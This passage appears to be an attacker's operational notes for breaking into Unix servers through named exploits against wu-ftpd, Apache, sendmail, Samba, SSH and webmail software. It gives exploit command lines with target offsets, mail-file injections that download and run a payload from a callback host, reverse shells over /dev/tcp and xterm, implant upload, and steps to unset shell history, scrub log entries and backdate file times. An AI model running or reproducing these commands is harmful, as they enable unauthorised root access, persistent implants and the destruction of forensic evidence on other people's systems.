1069A101 APPEND .maildelivery (\Seen) {37}
1070To user pipe A >/home/user/.g
1071A102 LIST "" %
1072A102 RENAME .g .procmailrc
1073A008 APPEND .procmailrc (\Seen) {128}
1074:0 c
1075|cd /tmp;wget http://PITCH_IP:53/sendmail; chmod +x /tmp/sendmail;D=-cPITCH_IP:25 PATH=/tmp sendmail;rm -f sendmail
1076A009 DELETE .forward
1077A009 DELETE .maildelivery
1078A009 DELETE .procmailrc
1079A010 LOGOUT
1080
1081telnet localhost 25
1082HELO helo
1083MAIL FROM: user@localhost.localdomain
1084RCPT TO: user@localhost.localdomain
1085DATA
1086.
1087QUIT
1088
1089
1090
1091telnet fawn 143
1092A000 LOGIN user password
1093A001 EXAMINE /etc/mail/sendmail.cf
1094A002 FETCH 1 RFC822
1095A003 EXAMINE /etc/passwd
1096A004 FETCH 1 RFC822
1097A003 EXAMINE /etc/shells
1098A004 FETCH 1 RFC822
1099A102 LIST "/usr/bin/X11" %
1100A005 EXAMINE .forward
1101A006 CREATE .forward
1102A007 CREATE .forward
1103A008 APPEND .forward (\Seen) {50}
1104"| /usr/bin/*11/xterm -display PITCH_IP:26000"
1105A009 DELETE .forward
1106A010 LOGOUT
1107
1108telnet fawn 25
1109HELO helo
1110MAIL FROM: user@fawn.beta.net
1111RCPT TO: user@fawn.beta.net
1112DATA
1113.
1114QUIT
1115
1116
1117
1118### cleanup
1119possible logging in /var/adm/messages (should blend in if it fails)
1120
1121
1122###########################################################
1123# EXPOUNDATOM
1124###########################################################
1125# Requires the target to have the wu-2.6.1 FTP service running
1126# Requires anonymous ftp access (determined if exploit works)
1127# -scan ftp TARGET_IP
1128# A maximum of two tries can be attempted.
1129#
1130# Syntax
1131# ./wu-261-linux -h
1132# For target list:
1133# ./wu-261-linux -t0 -h
1134
1135
1136# No redirection:
1137./wu-261-linux TARGET_IP 21 VERSION
1138
1139
1140
1141# w/ redirection:
1142-tunnel
1143l 21 TARGET_IP
1144
1145# Locally:
1146./wu-261-linux -a -d 127.0.0.1
1147./wu-261-linux -t17 -d 127.0.0.1
1148
1149# SHould give you root; need to upload nopen
1150
1151unset HISTFILE
1152unset HISTSIZE
1153unset HISTFILESIZE
1154cd /tmp
1155mkdir WORK_DIR
1156cd /tmp/WORK_DIR
1157pwd
1158which uudecode uncompress
1159 # gedit sendmail
1160uudecode; ls -latr
1161uncompress sendmail.Z
1162ls -la
1163chmod 700 sendmail
1164PATH=. sendmail
1165
1166# IF it complains about the user/pass correct, then it's not vulnerable to
1167# our pair that we try to send it;
1168
1169# Cleanup:
1170# /var/log/messages (look for ftp access)
1171# /var/adm/utmpx, wtmpx
1172# /var/log/secure
1173
1174
1175###################################################
1176### EMBERSNOUT
1177###################################################
1178
1179# must verify that box is RH9.0(SHRIKE) and that
1180# httpd is "Apache/2.0.40 (Red Hat Linux)
1181
1182-scan telnet TARGET_IP
1183-scan ssh TARGET_IP
1184-scan ssl TARGET_IP
1185
1186# Notes:
1187# this indicates it's RH9.0 but could be either Psyche or Shrike:
1188# (Linux release 2.4.20-8custom #3 SMP Thu Aug 28 13:56:20 EDT 2003)
1189
1190# seeing this indicates (Shrike) because the version is bundled with it:
1191# SH-1.99-OpenSSH_3.5p1
1192
1193# this version of Apache is needed but Psyche comes with 2.0.40-8 and
1194# Shrike comes with 2.0.40-21; the release in not determinable from
1195# a scan; just verify it's what is expected:
1196# Server: Apache/2.0.40 (Red Hat Linux)
1197#
1198
1199# op box should work - depends if python is included
1200rpm -qf /usr/bin/python
1201 # should see: python-base-2.2-9mdk
1202
1203# if you want it to pop an xterm back to your screen:
1204# - make sure 6000 is listening
1205# - run xhost +
1206
1207./es.py
1208 Arguments: ['./es.py']
1209
1210
1211 Usage -> ./es.py ip port packet_size start_ebp end_ebp ebp_inc hex_pad_byte "cmd"
1212
1213 where...
1214
1215 ip............target IP address
1216 port..........target httpd TCP port number (usually 443)
1217 packet_size...attack packet length in bytes
1218 start_ebp.....guessed %ebp value to start with
1219 end_ebp.......guessed %ebp value to end with
1220 ebp_inc.......how many stack bytes to bump %ebp each time
1221 hex_pad_byte..packet filling byte (0x0 will do randomized fill)
1222 "cmd".........ASCII command string to be executed on target
1223
1224### Locally
1225netstat -an |grep 6000
1226xhost +
1227
1228
1229########### REDIRECTED:
1230
1231
1232### Redirector:
1233-tunnel
1234l 443 TARGET_IP
1235r 6006 127.0.0.1 6000
1236r NETCAT_PORT
1237
1238### In a local scripted window, set up a netcat to listen for a connection:
1239
1240nc -vv -l -p NETCAT_PORT
1241
1242
1243### Locally (choose a method):
1244
1245### This one will send command results back to a netcat window (not interactive)
1246./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 (/bin/uname -a; /usr/bin/id; /bin/ps -auxww; /bin/w)|/usr/
1247bin/telnet PITCH_IP NETCAT_PORT"
1248
1249### This one gives you an interactive window:
1250./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(sh</dev/tcp/PITCH_IP/NETCAT_PORT>&0 2>&0)"
1251 # or for ksh:
1252./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(ksh -c "sh </dev/tcp/PITCH_IP/NETCAT_PORT >&0 2>&0")"
1253
1254### This one pops back an xterm (be patient for it to pop back and keep mouse clear of window):
1255./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "/usr/bin/X11/xterm -display PITCH_IP:6 -e /bin/sh"
1256
1257
1258############ No Redirection:
1259
1260./es.py TARGET_IP 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 (/bin/uname -a; /usr/bin/id; /bin/ps -auxww; /bin/w)|/usr/
1261bin/telnet LOCALIP NETCAT_PORT"
1262
1263./es.py TARGET_IP 443 5000 HIT_STRING 0xbffffff0 0x4 0x0 "(/usr/bin/X11/xterm -display LOCALIP:0 -e /bin/sh)"
1264
1265./es.py 127.0.0.1 443 5000 0xbfffe000 0xbffffff0 0x4 0x0 "(sh</dev/tcp/LOCAL_IP/NETCAT_PORT>&0 2>&0)"
1266
1267
1268
1269### if the exploit stalls after a bit, hit Ctl-C to wake it up, which
1270### prompts you if you want to continue - hit 'y'
1271### watch for a connection back to your netcat window
1272
1273### Once you have access........
1274### you need to first clean extraneous processes started by httpd
1275### run this to help clean:
1276
1277
1278unset HISTFILE
1279unset HISTSIZE
1280unset HISTFILESIZE
1281pwd
1282exec 3<&- 4<&- 5<&- 6<&- 7<&- 8<&- 9<&- 10<&- 11<&- 12<&- 13<&- 255<&-
1283/usr/sbin/lsof |grep ^sh
1284uname -a; id
1285mkdir -p /tmp/.httpd-lock; chmod 700 /tmp/.httpd-lock; ls -lctra /tmp
1286cd /tmp/.httpd-lock; pwd
1287which uudecode uncompress
1288#telnet PITCH_IP NETCAT_PORT </dev/tty | uudecode ; ls -la
1289#uncompress crond.Z; chmod 700 crond; ls -la
1290
1291# if no uudecode, use this
1292### locally:
1293# nc -l -vv -p NETCAT_PORT < crond
1294
1295
1296### back on target window:
1297#/bin/cat</dev/tcp/PITCH_IP/NETCAT_PORT>/tmp/.httpd-lock/crond
1298chmod 700 crond
1299PATH=. crond
1300PATH=. D=-cPITCHIP:NOPEN_PORT crond
1301rm crond
1302
1303
1304-nstun TARGET_IP
1305-nrtun NOPEN_PORT
1306noclient TARGET_IP
1307
1308### need to elevate so you can clean logs (use eventstart - ptrace won't work on RH9)
1309
1310
1311
1312### Logging:
1313-lt /var/log/httpd
1314 /var/log/httpd/ssl_access_log
1315 /var/log/httpd/ssl_request_log
1316 /var/log/httpd/ssl_error_log
1317 /var/log/httpd/error_log
1318
1319-lt /var/log
1320 /var/log/messages
1321 /var/log/secure
1322 /var/log/maillog
1323
1324egrep -v PITCH_IP /var/log/httpd/ssl_access_log > t; cat t > /var/log/httpd/ssl_access_log
1325egrep -v PITCH_IP /var/log/httpd/ssl_request_log > t; cat t > /var/log/httpd/ssl_request_log
1326egrep -v PITCH_IP /var/log/httpd/error_log > t; cat t > /var/log/httpd/error_log
1327egrep -v Segmentation /var/log/httpd/error_log > t; cat t > /var/log/httpd/error_log
1328egrep -v PITCH_IP /var/log/httpd/ssl_error_log > t; cat t > /var/log/httpd/ssl_error_log
1329egrep -v PITCH_IP /var/log/messages > t; cat t > /var/log/messages
1330egrep -v PITCH_IP /var/log/secure > t; cat t > /var/log/secure
1331egrep -v PITCH_IP /var/log/maillog > t; cat t > /var/log/maillog
1332
1333
1334####################################
1335### ENVELOPSWALLOW
1336####################################
1337
1338# buffer overflow for Apache Web
1339
1340
1341Usage: ./envelopswallow <-switches> -h host[:80]
1342 -h host[:port] Host to penetratea and TCP port of the web server to attack
1343 -t # Target id.
1344 Bruteforcing options (all required, unless -o is used!):
1345 -o char Default values for the following OSes
1346 (f)reebsd, (o)penbsd, (n)etbsd
1347 -b 0x12345678 Base address used for bruteforce
1348 Try 0x80000/obsd, 0x80a0000/fbsd, 0x080e0000/nbsd.
1349 -d -nnn memcpy() delta between s1 and addr to overwrite
1350 Try -146/obsd, -150/fbsd, -90/nbsd.
1351 -z # Numbers of time to repeat \0 in the buffer
1352 Try 36 for openbsd/freebsd and 42 for netbsd
1353 -r # Number of times to repeat retadd in the buffer
1354 Try 6 for openbsd/freebsd and 5 for netbsd
1355 Optional stuff:
1356 -w # Maximum number of seconds to wait for shellcode reply
1357 -c cmdz Commands to execute when our shellcode replies
1358 aka auto0wncmdz
1359 -W # of seconds to wait between tries (use this when tunneling thru nopen)
1360
1361
1362
1363
1364-scan http TARGET_IP
1365
1366-tunnel
1367l RANDOM TARGET_IP 80
1368r NETCAT_PORT
1369
1370
1371./envelopswallow
1372
1373# plug in the options of the matching line
1374# change TARGET_IP to 127.0.0.1 if using redirection
1375
1376# 4.0 FreeBSD RELEASE apache-1.3.12(distro binary) apache+mod_ssl-1.3.12+2.6.2(distro binary)
1377# apache+php-1.3.12+3.0.15 (distro binary) apache+php-1.3.12+4.0b3 (distro binary)
1378# apache+ssl-1.3.9+1.37(distro binary)
1379 ./envelopswallow -o f -w 1000 -b 0xbfbfd000 -d -134 -r 11 -z 16 -h TARGET_IP:80
1380
1381# 4.1 FreeBSD Apache 1.3.12(distro binary)
1382 ./envelopswallow -o f -w 1000 -b 0xbfbfd000 -d -134 -r 11 -z 16 -h TARGET_IP:80
1383 ./envelopswallow -o f -w 1000 -b 0xbfbf0000 -d -134 -r 11 -z 16 -h TARGET_:80
1384
1385
1386# 4.1 FreeBSD Apache 1.3.14 / 1.3.17 / 1.3.19 / 1.3.20 / 1.3.22 / 1.3.23 / 1.3.24 (built from source)
1387 ./envelopswallow -o f -h TARGET_IP:80 -w 1000 -b 0x080edc29 -d -146 -z 36 -r 6
1388
1389
1390# 4.4 FreeBSD Apache 1.3.20(binary)
1391 ./envelopswallow -b 0xbfbf0000 -z 16 -r 11 -d -134 -h TARGET_IP:80
1392
1393
1394# 4.4 FreeBSD ru-apache+mod_ssl-1.3.20+30.5+2.8.4 (distro binary)
1395 ./envelopswallow -b 0xbfbfd000 -z 16 -r 11 -d -134 -h TARGET_IP:80
1396
1397
1398# 4.5 FreeBSD apache+mod_ssl-1.3.22+2.8.5_4(distro binary) and apache-1.3.22_7 (distro binary)
1399 ./envelopswallow -b 0xbfbfd000 -z 16 -r 11 -d -134 -h TARGET_IP:80
1400
1401
1402### Let it run for about addresses (rows of PppP...ppP's) then bail if it doesn't hit
1403### maybe let it run an hour or less
1404
1405unset HISTFILE
1406unset HISTSIZE
1407unset HISTFILESIZE
1408cd /tmp
1409mkdir WORK_DIR
1410cd /tmp/WORK_DIR
1411pwd
1412telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la
1413uncompress sendmail.Z
1414netstat -an | grep RAT_PORT
1415D="-l RAT_PORT" PATH=. sendmail
1416
1417### pitch window
1418-nstun TARGET_IP RAT_PORT
1419
1420
1421
1422upload local: rforkx.freebsd (FreeBSD 4.1 & 4.3)
1423 or sm11x.freeBSD ( ONLY for:
1424 7.0, 7.1, FBSD 4.2
1425 FBSD -t0
1426 7.0 -t1
1427 7.1 -t2
1428
1429
1430
1431
1432######################################
1433# RFORKX
1434######################################
1435
1436### elevation for x86/FreeBSD
1437# Works-on :
1438# FreeBSD 3.1-RELEASE (GENERIC) #0: Mon Feb 15 11:08:08 GMT 1999
1439# FreeBSD 3.2-RELEASE (GENERIC) #0: Tue May 18 04:05:08 GMT 1999
1440# FreeBSD 3.3-RELEASE (GENERIC) #0: Thu Sep 16 23:40:35 GMT 1999
1441# FreeBSD 4.0-RELEASE (GENERIC) #0: Mon Mar 20 22:50:22 GMT 2000
1442# FreeBSD 4.1-RELEASE (GENERIC) #0: Fri Jul 28 14:30:31 GMT 2000
1443# FreeBSD 4.2-RELEASE (GENERIC) #0: Mon Nov 20 13:02:55 GMT 2000
1444### fails on some newer versions of FreeBSD
1445
1446
1447### upload executable
1448cp rforkx rf
1449packrat NETCAT_PORT rf
1450
1451telnet PITCH_IP NETCAT_PORT < /dev/console | uudecode;ls -la
1452uncompress rf
1453ls -latr
1454chmod 700 rf
1455./rf
1456# wait 5 sec and maybe control-c
1457id
1458
1459
1460# start nopen as root then reconnect
1461
1462
1463######################################
1464# SM11X
1465######################################
1466
1467Target platform 1: Red Hat Linux release 7.0 (Guinness)
1468 ESMTP Sendmail 8.11.0/8.11.0
1469 Target platform 2: Red Hat Linux release 7.1 (Seawolf)
1470 ESMTP Sendmail 8.11.2/8.11.2
1471 Target platform 3: FreeBSD 4.2-RELEASE
1472 ESMTP Sendmail 8.11.1/8.11.1
1473Caldera Linux 3.1
1474 Conectiva Linux 6.0
1475 Conectiva Linux 7.0
1476 Immunix Linux 7.0
1477 SuSE Linux 7.0
1478 SuSE Linux 7.1
1479 SuSE Linux 7.2
1480"sendmail" daemon with any of the versions...
1481
1482 8.11
1483 8.11.1
1484 8.11.2
1485 8.11.3
1486 8.11.4
1487 8.11.5
1488 8.12.beta5
1489 8.12.beta7
1490 8.12.beta10
1491 8.12.beta12
1492 8.12.beta16
1493
1494
1495What assumptions have been made in the design of this capability?
1496 Setuid "root" existence of "/usr/sbin/sendmail" on Red Hat Linux 7.0 and
1497 7.1 systems, and "/usr/libexec/sendmail/sendmail" on FreeBSD-4.2 systems.
1498
1499### LOGGING:
1500
1501"/var/mail/maillog",
1502
1503cat /etc/redhat-release
1504ls -l /usr/sbin/sendmail
1505
1506
1507./sm11x -t OPTION
1508### look for the cksums to match, if they don't, you have 5 secs to control-c
1509
1510### if you don't control-c, a second 5-sec counter will start; you'll also see the following message:
1511
1512 Recipient names must be specified
1513
1514
1515###### Cleanup:
1516
1517/var/log/messages (brute force)
1518/var/log/error_log (bus error, segment. fault, server seems busy)
1519
1520
1521
1522
1523###################################
1524# EGGBARON
1525###################################
1526
1527### Linux and FreeBSD systems running Samba 2.2.x (pre 2.2.8a) on x86 architectures.
1528
1529### If successful, it has samba start a listener on port 45295 and the exploit will attempt
1530### to connect to it to give you root.
1531### If you're redirecting, you need to set up a tunnel to port 45295 on the target,
1532### then connect to it via netcat.
1533### Note, that if you use the same ports on both tunnel ends, eggbaron may think that it
1534### was already successful because of false positives by the tunnel
1535### Might need to let it give "failed" messages 20-30 times before it works.
1536
1537./sambal
1538samba-2.2.x < remote root
1539--------------------------
1540Usage: ./sambal [-bBcCdfprsStv] [host]
1541
1542-b <platform> bruteforce (0 = Linux, 1 = FreeBSD/NetBSD, 2 = OpenBSD 3.1 and prior,
1543 3 = OpenBSD 3.2)
1544-B <step> bruteforce steps (default = 300)
1545-c <ip address> connectback ip address
1546-C <max childs> max childs for scan/bruteforce mode (default = 40)
1547-d <delay> bruteforce/scanmode delay in micro seconds (default = 100000)
1548-f force
1549-p <port> port to attack (default = 139)
1550-r <ret> return address
1551-s scan mode (random)
1552-S <network> scan mode
1553-t <type> presets (0 for a list)
1554-v verbose mode
1555
1556./sambal -t0
1557samba-2.2.x < remote root
1558--------------------------
155901. samba-2.2.x - Debian 3.0 [0xbffffea2]
156002. samba-2.2.x - Gentoo 1.4.x [0xbfffe890]
156103. samba-2.2.x - Mandrake 8.x [0xbffff6a0]
156204. samba-2.2.x - Mandrake 9.0 [0xbfffe638]
156305. samba-2.2.x - Redhat 9.0 [0xbffff7cc]
156406. samba-2.2.x - Redhat 8.0 [0xbffff2f0]
156507. samba-2.2.x - Redhat 7.x [0xbffff310]
156608. samba-2.2.x - Redhat 6.x [0xbffff2f0]
156709. samba-2.2.x - Slackware 9.0 [0xbffff574]
156810. samba-2.2.x - Slackware 8.x [0xbffff574]
156911. samba-2.2.x - SuSE 7.x [0xbffffbe6]
157012. samba-2.2.x - SuSE 8.x [0xbffff8f8]
157113. samba-2.2.x - FreeBSD 5.0 [0xbfbff374]
157214. samba-2.2.x - FreeBSD 4.x [0xbfbff374]
157315. samba-2.2.x - NetBSD 1.6 [0xbfbfd5d0]
157416. samba-2.2.x - NetBSD 1.5 [0xbfbfd520]
157517. samba-2.2.x - OpenBSD 3.2 [0x00159198]
157618. samba-2.2.8 - OpenBSD 3.2 (package) [0x001dd258]
157719. samba-2.2.7 - OpenBSD 3.2 (package) [0x001d9230]
157820. samba-2.2.5 - OpenBSD 3.2 (package) [0x001d6170]
157921. Crash (All platforms) [0xbade5dee]
1580
1581# EGGBARON may not work the first time using the target number as the -t flag.
1582# Try bruteforcing it using the -b flag. This usually works, and after very few tries.
1583# If this is taking a long time, try setting the bruteforce step size down using -b 100.
1584# Subsequently, the -t flag will work
1585
1586
1587
1588./sambal -b 0 TARGET_IP
1589
1590####### redirected:
1591
1592### via pitch:
1593-tunnel
1594l 1139 TARGET_IP 139
1595l 4444 TARGET_IP 45295
1596r NETCAT_PORT
1597
1598### Locally:
1599./sambal -p 1139 -b 0 127.0.0.1
1600./sambal -f -p 1139 -b 0 127.0.0.1
1601
1602# skip to nc section
1603
1604
1605### Thru a windows box:
1606### 1. Need a 2 second delay (-d 2000000)
1607### 2. Need three tunnels (exploit, nc to port 45295, and callback to upload RAT)
1608
1609background redirect -tcp -lplisten 4444 -target 10.1.1.3 45295 -bind WINDOWS_LOCAL
1610background redirect -tcp -lplisten 1139 -target 10.1.1.3 139 -bind WINDOWS_LOCAL
1611background redirect -tcp -implantlisten 25896 -target LOCAL_UNIX 25896 -nodes 40
1612
1613
1614### If you think you can't contact the target directly and want the exploit to
1615### call back to you, use the "-c WINDOWS_TARG_CALLBACK" option, and start
1616### a windows tunnel and unix netcat listener on port 45295
1617### Even if the "-c WINDOWS_TARG_CALLBACK" is used, both a callback to port 45295 _AND_
1618### a listener on the target's port 45295 will be created
1619
1620
1621### Locally:
1622./sambal -t0
1623./sambal -r 0xbffffb00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d 2000000 -p 1139 WIN_LOCAL
1624./sambal -r 0xbffffd00 -b 0 -B 300 -v -c WINDOWS_TARG_CALLBACK -C 1 -f -d 2000000 -p 1139 WIN_LOCAL
1625
1626
1627### try connecting via netcat after any "session failed" message when redirecting:
1628nc PITCH_IP_or_WINDOWS_LOCAL 4444
1629unset HISTSIZE
1630unset HISTFILESIZE
1631unset HISTFILE
1632w
1633uname -a
1634### start a netcat with the right nopen version (don't need to uuencode with /dev/tcp way)
1635### nc -l -v -p NETCAT_PORT < sendmail
1636pwd
1637mkdir /tmp/.scsi; cd /tmp/.scsi; pwd
1638ls -l /usr/bin/uudecode
1639/bin/cat</dev/tcp/WINDOWS_TARG_CALLBACK/NETCAT_PORT>/tmp/.scsi/sendmail
1640chmod 700 sendmail
1641PATH=. sendmail
1642id
1643
1644### Cleanup
1645# look for stray process in netstat (bunch of funky chars followed by /bin/sh on port 45295)
1646# then kill the associated process running it:
1647netstat -anlp | grep 45295
1648ps -ef |grep <PID>
1649kill -9 <PID>
1650
1651
1652# Logging depends on OS; usually indicated in smb.conf file or check:
1653# /var/log/samba/smb.log, /var/log/samba/<machine-name>.log
1654
1655###
1656##################################################
1657# EXTRANEOUSMONKEY
1658##################################################
1659
1660-tunnel
1661l 443 TARGET_IP
1662
1663### verify the exploit will work with a test command:
1664./em -i 127.0.0.1 -t 2 -u "w; date; date -u; uname -a"
1665
1666### next, run this one using the proper noclient & noserver
1667### nopen will be started as httpd owned by apache
1668### you'll connect in the / directory
1669
1670./em -i 127.0.0.1 -t 2 -s /current/up/noserver -c /current/bin/noclient
1671
1672
1673-cd /tmp
1674-lt
1675uname -a
1676
1677### start another nopen listener on a random port (not reusing the socket)
1678
1679unset I; PATH=. D=-l38475 .httpd
1680
1681
1682### from redirector
1683-nstun TARGET_IP:38475
1684
1685
1686### elevate using your favorite local (probably EVENTSTART), then start
1687### another privileged noserver, connect to it, then clean up
1688
1689
1690### Logging:
1691/var/log/httpd/ssl_error_log
1692/var/log/httpd/access_log
1693/var/log/httpd/ssl_access_log
1694/var/log/httpd/ssl_request_log
1695
1696
1697
1698
1699##############################################################################
1700### EXPIRETRACHEA
1701#############################################################################
1702
1703# close to freebsd 4.3
1704# copy nopen for freebsd 4.3 as noserver in /current/up; automatically uploads and connects
1705
1706-scan mail TARGET_IP
1707
1708# returns BorderWare MXtreme Mail Firewall
1709
1710#cgi-bin/remote/expiretrachea/i586-pc-linux-gnu/opscript.borderware
1711#expiretrachea_helper.pl
1712#expiretrachea.pl -h hostname -c PITCH_IP
1713
1714### redirected:
1715-tunnel
1716l 80 TARGET_IP
1717r 25
1718
1719# 1st window
1720expiretrachea_helper.pl -c PITCH_IP
1721
1722# 2nd window
1723expiretrachea.pl -h 127.0.0.1 -c PITCH_IP
1724
1725# clean logs:
1726### /server/ftp/log/httpd: referer_log, ssl_request_log, and access_log
1727#grep -v "-" /server/ftp/log/httpd/referer_log > /tmp/.scsi/c; cat /tmp/.scsi/c > /server/ftp/log/httpd/referer_log
1728
1729pwd
1730-lt /server/ftp/log
1731-lt /server/ftp/log/httpd
1732-lt /
1733df -k
1734w
1735ps -auxww
1736-cd /var/tmp
1737
1738-get /server/ftp/log/messages
1739-tail /server/ftp/log/messages
1740grep -v DSADMIN /server/ftp/log/messages > m; cat m > /server/ftp/log/messages
1741grep -v PITCH_IP /server/ftp/log/messages > m; cat m > /server/ftp/log/messages
1742
1743-get /server/ftp/log/httpd/referer_log
1744-tail /server/ftp/log/httpd/referer_log
1745grep -v prepend /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log
1746grep -v x90 /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log
1747grep -v admin /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log
1748grep -v C /server/ftp/log/httpd/referer_log > m; cat m > /server/ftp/log/httpd/referer_log
1749
1750-get /server/ftp/log/httpd/access_log
1751-tail /server/ftp/log/httpd/access_log
1752grep -v PITCH_IP /server/ftp/log/httpd/access_log > m; cat m > /server/ftp/log/httpd/access_log
1753
1754-get /server/ftp/log/httpd/ssl_request_log
1755-tail /server/ftp/log/httpd/ssl_request_log
1756grep -v PITCH_IP /server/ftp/log/httpd/ssl_request_log > m; cat m > /server/ftp/log/httpd/ssl_request_log
1757
1758
1759-get /server/ftp/log/httpd/error_log
1760-tail /server/ftp/log/httpd/error_log
1761grep -v PITCH_IP /server/ftp/log/httpd/error_log > m; cat m > /server/ftp/log/httpd/error_log
1762grep -v db_sql /server/ftp/log/httpd/error_log > m; cat m > /server/ftp/log/httpd/error_log
1763
1764-rm m
1765-rm /tmp/.scsi/sendmail /tmp/.scsi/getopt /tmp/.scsi
1766-lt
1767
1768
1769###################################################
1770### NFTP
1771###################################################
1772# nopen ftp
1773############
1774
1775ourtn -lue PITCH_IP
1776noclient PITCH_IP:PORT
1777
1778-tunnel 12121 udp # NOTE: As of v1.1, if this is not there, the
1779 error message will offer it as a pastable.
1780
1781
1782# In the LOCAL window, use nftp to transfer a file in both directions
1783# via NOPEN redirection to PITCH_IP in regular mode (-d and -V are
1784# optional and give more debugging/verbose information):
1785
1786nftp -r PITCH_IP -d -V TARGET_IP
1787# pnftp -r PITCH_IP -d -V TARGET_IP
1788
1789user
1790password
1791ls
1792cd /bin
1793lcd ../down
1794#get vi
1795cd /tmp
1796#put vi vi.test1
1797bye
1798
1799#######################################
1800### ELITEHAMMER
1801#######################################
1802### Runs against RedFlag Webmail 4 (software install)
1803### Gives you user nobody, not root;
1804### Need a local to get root (EVENTSTART or ELASTICBANJO?)
1805### Webmail port is usually 80 or 443
1806
1807-scan http TARGET_IP
1808-scan ssl TARGET_IP
1809-scan 8025 TARGET_IP
1810
1811### This version will reuse the same port for the nopen upload and the nopen callback:
1812
1813### Redirector:
1814-tunnel
1815l WEBPORT TARGET_IP
1816r CALL_BACK_PORT
1817
1818### In two scripted local windows, run the following:
1819
1820### 1st window
1821###./elitehammer_helper.pl -c <callbackip> -p <callbackport> [-n path to noserver <default: ../up/noserver>] [-s sleep secs <default: 5>]
1822./elitehammer_helper.pl -c PITCH_IP -p CALL_BACK_PORT
1823
1824### 2nd window
1825###./elitehammer.pl -h <targetip> -m <target's web port> -c <callbackip> -p <callback port> [-l if https]
1826./elitehammer.pl -h 127.0.0.1 -m WEBPORT -c PITCH_IP -p CALL_BACK_PORT
1827
1828
1829### Troubleshooting Elitehammer
1830### If you throw the exploit and just see the first connection,
1831### a firewall might be blocking certain outbound ports
1832
1833-tunnel
1834l 8888 TARGET_IP mailport
1835r 53
1836r 25
1837r 110
1838r 80
1839r 443
1840r 21
1841r 22
1842r 23
1843
1844### Locally, setup nc for each of the above ports to see what target will allow
1845### out (53,25,110,80,443,21,22,23)
1846nc -l -p NETCAT_PORT
1847
1848### Then surf the following in a web browser and watch your netcat window for a connection:
1849http://127.0.0.1:8888/mod_password.php?cfg_m_function=http://PITCH_IP:NETCAT_PORT
1850
1851### Once you've identified a port allowed out, change the CALL_BACK_PORT in your tunnels and
1852### commands aand try again
1853
1854### Once successful, you'll be connected in a nopen window as user nobody
1855
1856-lt
1857id
1858-cd /tmp/.scsi
1859-lt
1860uname -a
1861w
1862
1863### more windows
1864# noclient -l CALL_BACK_PORT
1865# PATH=. D="-cPITCH_IP:CALL_BACK_PORT" sendmail
1866
1867### Choose your poison for elevation (EVENTSTART, ELASTICBANJO, others)
1868
1869### Clean up
1870 /webmail4/www/logs/access_log
1871
1872-lt /webmail4/www/logs
1873-grep PITCH_IP /webmail4/www/logs/access_log
1874grep -v PITCH_IP /webmail4/www/logs/access_log > m; cat m > /webmail4/www/logs/access_log
1875touch -t YYMMDDHHMM.ss /webmail4/www/logs/access_log
1876-lt /webmail4/www/logs/access_log
1877-rm m
1878-cd /tmp
1879-rm .scsi
1880
1881#######################################
1882### ELASTICBANJO
1883#######################################
1884### Elevates to root; make suren redmin is there
1885
1886-lt /usr/share/redmin/cgi/redmin
1887
1888### must use /tmp/.scsi directory
1889-cd /tmp/.scsi
1890-put /current/up/gr.tbz2 gr.tbz2
1891tar xvfj gr.tbz2
1892-shell
1893id
1894./gr
1895unset HISTFILE
1896unset HISTSIZE
1897unset HISTFILESIZE
1898id
1899pwd
1900cd /tmp/.scsi
1901#PATH=. sendmail
1902#noclient -l NOPEN_PORT
1903#PATH=. D="-cPITCH_IP:NOPEN_PORT" sendmail
1904exit
1905exit
1906
1907### Clean up
1908 /var/log/rflogview/system_info
1909 /var/log/cron
1910 /var/spool/at/.SEQ
1911 /tmp/1
1912
1913-lt /tmp
1914-rm /tmp/1
1915
1916-lt /var/spool
1917-lt /var/spool/at
1918-cat /var/spool/at/.SEQ
1919 # decrement the number in the file by 1
1920 #echo 00000 > /var/spool/at/.SEQ
1921#echo NUMBER > /var/spool/at/.SEQ
1922chown daemon:daemon /var/spool/at/.SEQ
1923-cat /var/spool/at/.SEQ
1924-lt /var/spool/at
1925-touch /var/spool /var/spool/at/.SEQ
1926-touch /var/spool /var/spool/at/spool
1927-touch /var/spool /var/spool/at
1928
1929-lt /var/log/cron
1930-grep LIST /var/log/cron
1931 # all should be from us
1932-gs grepout LIST /var/log/cron
1933#grep -v LIST /var/log/cron > m; cat m > /var/log/cron
1934
1935-lt /var/log/rflogview
1936-tail /var/log/rflogview/system_info
1937-grep LIST /var/log/rflogview/system_info
1938-gs grepout LIST /var/log/rflogview/system_info
1939# grep -v LIST /var/log/rflogview/system_info > m; cat m > /var/log/rflogview/system_info
1940
1941-lt / /var/run /var/log
1942
1943# check history files for root and user you elevated from
1944
1945-rm m sendmail
1946-cd /tmp
1947-rm /tmp/.scsi
1948
1949########## Adding/Deleting ipchains rules to scan/exploit internal targets ###
1950# specifically used for jogswirl *.133u, .132u)
1951
1952# on target
1953-ifconfig
1954ipchains -L -n --line-numbers > L:/current/down/ipchains.lnumbers-orig
1955ipchains -L -n --line-numbers
1956
1957# locally
1958./fw-ipchains -h
1959./fw-ipchains -s 172.16.80.19 -d 172.16.0.0/16
1960
1961# on target
1962
1963# copy/paste add rules (tcp/udp...) from fw-ipchains output
1964# scan/exploit targets
1965
1966ipchains -L -n --line-numbers
1967
1968# copy/paste delete rules (tcp/udp...) from fw-ipchains output
1969ipchains -L -n --line-numbers > L:/current/down/ipchains.lnumbers-clean
1970ipchains -L -n --line-numbers
1971
1972# locally
1973cd /current/down
1974diff ipchains.lnumbers-orig ipchains.lnumbers-clean
1975# make sure -orig and -clean look the same; resetting rules to original state:q
1976
1977###################################################3
1978# KWIKEMART
1979###################################################3
1980# SSH-1.5-1.2.27
1981# SSH-1.5-OpenSSH-1.2.3
1982# SSH-1.99-OpenSSH_2.1.1
1983# SSH-1.99-OpenSSH_2.2.0
1984
1985telnet TARGET_IP <sshd port>
1986
1987./km* -t
1988./km -t0
1989./km.e -t0
1990./km -t2 TARGET_IP 22
1991
1992
1993# CLEAN UP
1994
1995/var/log/messages
